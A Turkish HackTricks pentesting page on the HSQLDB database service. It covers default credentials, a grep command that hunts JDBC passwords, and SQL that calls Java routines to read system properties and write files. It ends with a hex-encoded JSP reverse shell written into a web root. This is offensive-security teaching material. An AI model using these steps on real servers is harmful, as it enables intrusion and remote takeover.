hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

96 lines
5.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Temel Bilgiler
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**, Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlemeli bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
**Varsayılan port:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Bilgi
### Varsayılan Ayarlar
Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve yetkileri artırmaya çalışıyorsunuzdur.
Varsayılan kimlik bilgileri genellikle boş bir şifre ile `sa`dır.
Başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini aramak için
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Not: Veritabanı adını dikkatlice not edin - bağlanmak için buna ihtiyacınız olacak.
# Bilgi Toplama
DB örneğine bağlanmak için [HSQLDB'yi indirin](https://sourceforge.net/projects/hsqldb/files/) ve `hsqldb/lib/hsqldb.jar` dosyasını çıkarın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Hileler
## Java Dili Rutinleri
HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın.
JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Fonksiyonlar, Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa SQL ifadeleri aracılığıyla çağrılabilir. `VALUES` ifadesi kullanılarak çağrılırlar.
Çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesi ile çağrılan bir prosedür kullanmamız gerekir.
## Java Sistem Özelliklerini Okuma
Fonksiyon oluştur:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Fonksiyonu çalıştır:
```text
VALUES(getsystemproperty('user.name'))
```
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Write Content to File
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracı, özel bir prosedür aracılığıyla disk'e hex kodlu öğeler yazmak için kullanılabilir \(uygulamanın sınıf yoluna otomatik olarak yüklendi\). **Maksimum boyutun 1024 bayt olduğunu unutmayın**.
Prosedür oluşturun:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Prosedürü çalıştır:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}